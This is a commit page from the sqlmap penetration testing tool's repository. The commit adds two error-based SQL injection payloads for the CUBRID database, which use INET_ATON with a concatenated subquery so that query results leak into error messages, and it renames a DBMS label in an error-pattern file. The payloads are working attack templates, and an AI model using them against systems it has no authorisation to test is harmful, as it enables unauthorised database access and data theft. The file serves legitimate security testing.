sqlmapproject/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-10-12 02:22:55 +00:00
Code Issues Packages Projects Releases Wiki Activity

Adding CUBRID error-based payloads

Browse Source
This commit is contained in:
Miroslav Štampar
2026-07-26 21:32:26 +02:00
parent a1ed35cf3b
commit c75df91eb7
3 changed files with 41 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
data/xml/errors.xml
+1 -1
View File
@@ -233,7 +233,7 @@
<error regexp="cubrid\.jdbc\.driver"/>
</dbms>
<dbms value="Cache">
<dbms value="InterSystems Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
data/xml/payloads/error_based.xml
+39
View File
@@ -919,6 +919,45 @@
</details>
</test>
<test>
<title>CUBRID AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
<vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>CUBRID OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>5</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>